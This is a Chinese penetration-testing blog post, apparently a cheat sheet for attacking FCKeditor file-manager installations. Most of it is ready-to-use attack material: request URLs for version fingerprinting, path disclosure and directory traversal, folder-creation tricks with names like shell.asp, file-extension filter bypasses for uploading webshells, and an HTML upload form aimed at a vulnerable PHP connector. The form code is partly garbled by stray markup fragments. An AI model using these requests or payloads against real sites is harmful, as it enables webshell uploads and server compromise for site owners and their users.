渗透|Clown'sBlog

渗透-Clown'sBlog|渗透测试技巧|黑客攻防|0day公布

上传漏洞



1、查看编辑器版本

 
 

/fckeditor/editor/dialog/fck_about.html

 
 

2、爆绝对路径

 
 

FCKeditor/editor/dialog/fck_spellerpages/spellerpages/server-scripts/spellchecker.php(支持php的通杀)

 
 

/FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/aspx/connector.aspx 2.5可突破

 
 

FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/shell.asp

 
 

3、遍历目录

 
 

/FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=../../

 
 

Version 2.4.1 测试通过

 
 

修改CurrentFolder 参数使用 ../../来进入不同的目录:

 
 

/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../../&NewFolderName=shell.asp

 
 

根据返回的XML 信息可以查看网站所有的目录。

 
 

FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/

 
 

也可以直接浏览盘符:

 
 

JSP 版本:

 
 

FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=/

 
 

4、jsp上传

/FCKeditor/editor/filemanager/browser/default/browser.html?Connector=connectors/jsp/connector

 
 

/FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp

 
 

 

 
 

5、Version < =2.4.2 For php 在处理PHP 上传的地方并未对Media 类型进行上传文件类型的控制,导致用户上传任意文件!将以下保存为html文件,修改action地址。

 
 

 

 
 

1 <</code>form id="frmUpload" enctype="multipart/form-data"action="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<</code>br><</code>input type="file" name="NewFile"size="50"><</code>br><</code>input id="btnUpload" type="submit" value="Upload"></</code>form> 

 
 

6、 FCKeditor 文件上传“.”变“_”下划线的绕过方法

很多时候上传的文件例如:shell.php.rar 或shell.php;.jpg 会变为shell_php;.jpg 这是新版FCK 的变化。试试上传1.asp;jpg

6.1:提交shell.php+空格绕过

不过空格只支持win 系统 *nix 是不支持的[shell.php 和shell.php+空格是2 个不同的文件未测试。

6.2:继续上传同名文件可变为shell.php;(1).jpg 也可以新建一个文件夹,只检测了第一级的目录,如果跳到二级目录就不受限制。

 
 

7、 突破建立文件夹

editor/FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=/qing.asp&NewFolderName=x.asp

 
 

FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=/shell.asp&NewFolderName=z&uuid=1244789975684

 
 

FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp

 
 

8、 FCKeditor 中test 文件的上传地址

FCKeditor/editor/filemanager/browser/default/connectors/test.html

FCKeditor/editor/filemanager/upload/test.html

FCKeditor/editor/filemanager/connectors/test.html

FCKeditor/editor/filemanager/connectors/uploadtest.html

 
 

9、最古老的漏洞,Type文件没有限制!

 
 

我接触到的第一个fckeditor漏洞了。版本不详,应该很古老了,因为程序对type=xxx 的类型没有检查。我们可以直接构造上传把type=Image 改成Type=hsren 这样就可以建立一个叫hsren的文件夹,一个新类型,没有任何限制,可以上传任意脚本!

 
 

10、browser

 
 

FCKeditor/editor/filemanager/browser/default/browser.html?Type=File&Connector=../../connectors/asp/connector.asp

 
 

FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp

 

评论

© 渗透|Clown'sBlog | Powered by LOFTER